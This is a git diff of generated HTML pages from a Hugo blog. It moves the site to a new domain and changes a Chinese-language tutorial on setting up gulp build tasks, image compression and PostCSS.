+<a class=next href=https://chenjunlinabc.github.io/posts/63/><span class=title>Next »</span><br><span>深入学习React</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/73/index.html b/posts/73/index.html
index 4331b697..7813a6d2 100644
--- a/posts/73/index.html
+++ b/posts/73/index.html
@@ -24,9 +24,9 @@
 gulp.watch() // 监测文件是否发生变化
 gulp.task()其中有两个参数，分别是任务名称和一个回调函数
 例如：
-let gulp = require(&#34;gulp&#34;);
gulp.task(&#34;test&#34;, function() {
return console.log(&#34;hallo gulp&#34;);
});
执行test任务（在终端，应用根目录下）
-gulp test"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/73/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="gulp学习笔记"><meta property="og:description" content="gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务
+let gulp = require(&#34;gulp&#34;); gulp.task(&#34;test&#34;, function() { return console.log(&#34;hallo gulp&#34;); }); 执行test任务（在终端，应用根目录下）
+gulp test"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/73/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="gulp学习笔记"><meta property="og:description" content="gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务
 全局安装gulp
 npm install &ndash;global gulp-cli
 或者
@@ -52,8 +52,8 @@
 gulp.watch() // 监测文件是否发生变化
 gulp.task()其中有两个参数，分别是任务名称和一个回调函数
 例如：
-let gulp = require(&#34;gulp&#34;);
gulp.task(&#34;test&#34;, function() {
return console.log(&#34;hallo gulp&#34;);
});
执行test任务（在终端，应用根目录下）
-gulp test"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/73/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-06T20:52:00+00:00"><meta property="article:modified_time" content="2021-08-06T20:52:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="gulp学习笔记"><meta name=twitter:description content="gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务
+let gulp = require(&#34;gulp&#34;); gulp.task(&#34;test&#34;, function() { return console.log(&#34;hallo gulp&#34;); }); 执行test任务（在终端，应用根目录下）
+gulp test"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/73/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-06T20:52:00+00:00"><meta property="article:modified_time" content="2021-08-06T20:52:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="gulp学习笔记"><meta name=twitter:description content="gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务
 全局安装gulp
 npm install &ndash;global gulp-cli
 或者
@@ -79,44 +79,44 @@
 gulp.watch() // 监测文件是否发生变化
 gulp.task()其中有两个参数，分别是任务名称和一个回调函数
 例如：
-let gulp = require(&#34;gulp&#34;);
gulp.task(&#34;test&#34;, function() {
return console.log(&#34;hallo gulp&#34;);
});
执行test任务（在终端，应用根目录下）
-gulp test"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"gulp学习笔记","item":"https://xiaochenabc123.github.io/posts/73/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"gulp学习笔记","name":"gulp学习笔记","description":"gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务\n全局安装gulp\nnpm install \u0026ndash;global gulp-cli\n或者\nyarn add gulp-cli -g\n初始化\nnpm init\n作为开发依赖进行安装gulp\nnpm install \u0026ndash;save-dev gulp\n或者\nyarn add gulp-cli -d\n安装依赖\nyarn add \u0026ndash;save-dev gulp-sass gulp-autoprefixer browser-sync gulp-notify\n创建gulpfile.js\n执行gulp\ngulp\n修改gulpfile.js\n导入gulp（这里用个变量接收）\nlet gulp = require(\u0026ldquo;gulp\u0026rdquo;);\n常用方法\ngulp.task() // 定义任务\ngulp.src() // 指向需要执行任务的文件\ngulp.dest() // 执行完任务的文件最后在哪里\ngulp.watch() // 监测文件是否发生变化\ngulp.task()其中有两个参数，分别是任务名称和一个回调函数\n例如：\nlet gulp = require(\u0026quot;gulp\u0026quot;);\rgulp.task(\u0026quot;test\u0026quot;, function() {\rreturn console.log(\u0026quot;hallo gulp\u0026quot;);\r});\r执行test任务（在终端，应用根目录下）\ngulp test","keywords":["Gulp"],"articleBody":"gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务\n全局安装gulp\nnpm install –global gulp-cli\n或者\nyarn add gulp-cli -g\n初始化\nnpm init\n作为开发依赖进行安装gulp\nnpm install –save-dev gulp\n或者\nyarn add gulp-cli -d\n安装依赖\nyarn add –save-dev gulp-sass gulp-autoprefixer browser-sync gulp-notify\n创建gulpfile.js\n执行gulp\ngulp\n修改gulpfile.js\n导入gulp（这里用个变量接收）\nlet gulp = require(“gulp”);\n常用方法\ngulp.task() // 定义任务\ngulp.src() // 指向需要执行任务的文件\ngulp.dest() // 执行完任务的文件最后在哪里\ngulp.watch() // 监测文件是否发生变化\ngulp.task()其中有两个参数，分别是任务名称和一个回调函数\n例如：\nlet gulp = require(\"gulp\");\rgulp.task(\"test\", function() {\rreturn console.log(\"hallo gulp\");\r});\r执行test任务（在终端，应用根目录下）\ngulp test\n默认任务\ngulp.task(\"default\", function(){\rreturn console.log(\"hallo gulp\");\r})\r拷贝任务\ngulp.task(\"copyData\", function(){\rgulp.src(\"src/*\").pipe(gulp.dest(\"app\"));\r})\r上面是将src文件夹下全部文件拷贝到app文件下，哪怕没有这个文件夹，gulp也会自动新建文件夹并且拷贝过去\n图片压缩任务\n安装依赖\nnpm install –save-dev gulp-imagemin\n修改gulpfile.js\nlet imagemin = require(\"gulp-imagemin\");\rgulp.task(\"imageMin\", function(){\rgulp.src(\"src/*.{png,jpg,gif,ico}\").pipe(imagemin(\r{\roptimizationLevel: 5,\rprogressive: true, interlaced: true, multipass: true,\rsvgoPlugins:[{removeViewBox: true}],\r}\r)).pipe(gulp.dest(\"src/images\"));\r})\rimagemin方法参数：\noptimizationLevel：压缩等级（0-7），默认值为3\nprogressive：是否无损压缩jpg图片，默认值为false\ninterlaced：隔行扫描gif渲染，默认值为false\nmultipass：多次优化svg，直到优化完毕，默认值为false\nsvgoPlugins: 移除svg的viewbox属性\nPostCSS是一个用JavaScript转换css的工具\n一般来说PostCSS不单独使用，会搭配构建工具（例如：Webpack，Gulp）使用，因此这里使用的是Gulp\n安装PostCSS依赖和gulp依赖\nyarn add gulp gulp-postcss postcss-cssnext postcss-short\n修改gulpfile.js\nconst gulp = require(\"gulp\");\rconst postcss = require(\"gulp-postcss\");\rconst cssnext = require(\"postcss-cssnext\");\rconst shortcss = require(\"postcss-short\");\rgulp.task(\"postcss\", function() {\rconst processors = [\rshortcss,\rcssnext\r];\rreturn gulp.src(\"./1.css\")\r.pipe(postcss(processors))\r.pipe(gulp.dest(\"./css\"));\r});\rgulp postcss\n执行完毕后自动添加css兼容前缀了，还支持下一代css的语法\n","wordCount":"162","inLanguage":"en","datePublished":"2021-08-06T20:52:00Z","dateModified":"2021-08-06T20:52:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/73/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>gulp学习笔记</h1><div class=post-meta><span title='2021-08-06 20:52:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/gulp%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务</p><p>全局安装gulp</p><p>npm install &ndash;global gulp-cli</p><p>或者</p><p>yarn add gulp-cli -g</p><p>初始化</p><p>npm init</p><p>作为开发依赖进行安装gulp</p><p>npm install &ndash;save-dev gulp</p><p>或者</p><p>yarn add gulp-cli -d</p><p>安装依赖</p><p>yarn add &ndash;save-dev gulp-sass gulp-autoprefixer browser-sync gulp-notify</p><p>创建gulpfile.js</p><p>执行gulp</p><p>gulp</p><p>修改gulpfile.js</p><p>导入gulp（这里用个变量接收）</p><p>let gulp = require(&ldquo;gulp&rdquo;);</p><p>常用方法</p><p>gulp.task() // 定义任务</p><p>gulp.src() // 指向需要执行任务的文件</p><p>gulp.dest() // 执行完任务的文件最后在哪里</p><p>gulp.watch() // 监测文件是否发生变化</p><p>gulp.task()其中有两个参数，分别是任务名称和一个回调函数</p><p>例如：</p><pre><code>let gulp = require(&quot;gulp&quot;);
-gulp.task(&quot;test&quot;, function() {
-    return console.log(&quot;hallo gulp&quot;);
-});
-</code></pre><p>执行test任务（在终端，应用根目录下）</p><p>gulp test</p><p>默认任务</p><pre><code>gulp.task(&quot;default&quot;, function(){
-    return console.log(&quot;hallo gulp&quot;);
-})
-</code></pre><p>拷贝任务</p><pre><code>gulp.task(&quot;copyData&quot;, function(){
-    gulp.src(&quot;src/*&quot;).pipe(gulp.dest(&quot;app&quot;));
-})
-</code></pre><p>上面是将src文件夹下全部文件拷贝到app文件下，哪怕没有这个文件夹，gulp也会自动新建文件夹并且拷贝过去</p><p>图片压缩任务</p><p>安装依赖</p><p>npm install &ndash;save-dev gulp-imagemin</p><p>修改gulpfile.js</p><pre><code>let imagemin = require(&quot;gulp-imagemin&quot;);
-gulp.task(&quot;imageMin&quot;, function(){
-    gulp.src(&quot;src/*.{png,jpg,gif,ico}&quot;).pipe(imagemin(
-        {
-            optimizationLevel: 5,
-            progressive: true, 
-            interlaced: true, 
-            multipass: true,
-            svgoPlugins:[{removeViewBox: true}],
-        }
-    )).pipe(gulp.dest(&quot;src/images&quot;));
-})
-</code></pre><p>imagemin方法参数：</p><p>optimizationLevel：压缩等级（0-7），默认值为3</p><p>progressive：是否无损压缩jpg图片，默认值为false</p><p>interlaced：隔行扫描gif渲染，默认值为false</p><p>multipass：多次优化svg，直到优化完毕，默认值为false</p><p>svgoPlugins: 移除svg的viewbox属性</p><hr><p>PostCSS是一个用JavaScript转换css的工具</p><p>一般来说PostCSS不单独使用，会搭配构建工具（例如：Webpack，Gulp）使用，因此这里使用的是Gulp</p><p>安装PostCSS依赖和gulp依赖</p><p>yarn add gulp gulp-postcss postcss-cssnext postcss-short</p><p>修改gulpfile.js</p><pre><code>const gulp = require(&quot;gulp&quot;);
-const postcss = require(&quot;gulp-postcss&quot;);
-const cssnext = require(&quot;postcss-cssnext&quot;);
-const shortcss = require(&quot;postcss-short&quot;);
-gulp.task(&quot;postcss&quot;, function() {
-    const processors = [
-        shortcss,
-        cssnext
-    ];
-    return gulp.src(&quot;./1.css&quot;)
-            .pipe(postcss(processors))
-            .pipe(gulp.dest(&quot;./css&quot;));
-});
-</code></pre><p>gulp postcss</p><p>执行完毕后自动添加css兼容前缀了，还支持下一代css的语法</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/gulp/>Gulp</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/75/><span class=title>« Prev</span><br><span>深入学习vuejs</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/65/><span class=title>Next »</span><br><span>简单利用backdrop-filter属性实现效果</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+let gulp = require(&#34;gulp&#34;); gulp.task(&#34;test&#34;, function() { return console.log(&#34;hallo gulp&#34;); }); 执行test任务（在终端，应用根目录下）
+gulp test"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"gulp学习笔记","item":"https://chenjunlinabc.github.io/posts/73/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"gulp学习笔记","name":"gulp学习笔记","description":"gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务\n全局安装gulp\nnpm install \u0026ndash;global gulp-cli\n或者\nyarn add gulp-cli -g\n初始化\nnpm init\n作为开发依赖进行安装gulp\nnpm install \u0026ndash;save-dev gulp\n或者\nyarn add gulp-cli -d\n安装依赖\nyarn add \u0026ndash;save-dev gulp-sass gulp-autoprefixer browser-sync gulp-notify\n创建gulpfile.js\n执行gulp\ngulp\n修改gulpfile.js\n导入gulp（这里用个变量接收）\nlet gulp = require(\u0026ldquo;gulp\u0026rdquo;);\n常用方法\ngulp.task() // 定义任务\ngulp.src() // 指向需要执行任务的文件\ngulp.dest() // 执行完任务的文件最后在哪里\ngulp.watch() // 监测文件是否发生变化\ngulp.task()其中有两个参数，分别是任务名称和一个回调函数\n例如：\nlet gulp = require(\u0026quot;gulp\u0026quot;); gulp.task(\u0026quot;test\u0026quot;, function() { return console.log(\u0026quot;hallo gulp\u0026quot;); }); 执行test任务（在终端，应用根目录下）\ngulp test","keywords":["Gulp"],"articleBody":"gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务\n全局安装gulp\nnpm install –global gulp-cli\n或者\nyarn add gulp-cli -g\n初始化\nnpm init\n作为开发依赖进行安装gulp\nnpm install –save-dev gulp\n或者\nyarn add gulp-cli -d\n安装依赖\nyarn add –save-dev gulp-sass gulp-autoprefixer browser-sync gulp-notify\n创建gulpfile.js\n执行gulp\ngulp\n修改gulpfile.js\n导入gulp（这里用个变量接收）\nlet gulp = require(“gulp”);\n常用方法\ngulp.task() // 定义任务\ngulp.src() // 指向需要执行任务的文件\ngulp.dest() // 执行完任务的文件最后在哪里\ngulp.watch() // 监测文件是否发生变化\ngulp.task()其中有两个参数，分别是任务名称和一个回调函数\n例如：\nlet gulp = require(\"gulp\"); gulp.task(\"test\", function() { return console.log(\"hallo gulp\"); }); 执行test任务（在终端，应用根目录下）\ngulp test\n默认任务\ngulp.task(\"default\", function(){ return console.log(\"hallo gulp\"); }) 拷贝任务\ngulp.task(\"copyData\", function(){ gulp.src(\"src/*\").pipe(gulp.dest(\"app\")); }) 上面是将src文件夹下全部文件拷贝到app文件下，哪怕没有这个文件夹，gulp也会自动新建文件夹并且拷贝过去\n图片压缩任务\n安装依赖\nnpm install –save-dev gulp-imagemin\n修改gulpfile.js\nlet imagemin = require(\"gulp-imagemin\"); gulp.task(\"imageMin\", function(){ gulp.src(\"src/*.{png,jpg,gif,ico}\").pipe(imagemin( { optimizationLevel: 5, progressive: true, interlaced: true, multipass: true, svgoPlugins:[{removeViewBox: true}], } )).pipe(gulp.dest(\"src/images\")); }) imagemin方法参数：\noptimizationLevel：压缩等级（0-7），默认值为3\nprogressive：是否无损压缩jpg图片，默认值为false\ninterlaced：隔行扫描gif渲染，默认值为false\nmultipass：多次优化svg，直到优化完毕，默认值为false\nsvgoPlugins: 移除svg的viewbox属性\nPostCSS是一个用JavaScript转换css的工具\n一般来说PostCSS不单独使用，会搭配构建工具（例如：Webpack，Gulp）使用，因此这里使用的是Gulp\n安装PostCSS依赖和gulp依赖\nyarn add gulp gulp-postcss postcss-cssnext postcss-short\n修改gulpfile.js\nconst gulp = require(\"gulp\"); const postcss = require(\"gulp-postcss\"); const cssnext = require(\"postcss-cssnext\"); const shortcss = require(\"postcss-short\"); gulp.task(\"postcss\", function() { const processors = [ shortcss, cssnext ]; return gulp.src(\"./1.css\") .pipe(postcss(processors)) .pipe(gulp.dest(\"./css\")); }); gulp postcss\n执行完毕后自动添加css兼容前缀了，还支持下一代css的语法\n","wordCount":"162","inLanguage":"en","datePublished":"2021-08-06T20:52:00Z","dateModified":"2021-08-06T20:52:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/73/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>gulp学习笔记</h1><div class=post-meta><span title='2021-08-06 20:52:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/gulp%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务</p><p>全局安装gulp</p><p>npm install &ndash;global gulp-cli</p><p>或者</p><p>yarn add gulp-cli -g</p><p>初始化</p><p>npm init</p><p>作为开发依赖进行安装gulp</p><p>npm install &ndash;save-dev gulp</p><p>或者</p><p>yarn add gulp-cli -d</p><p>安装依赖</p><p>yarn add &ndash;save-dev gulp-sass gulp-autoprefixer browser-sync 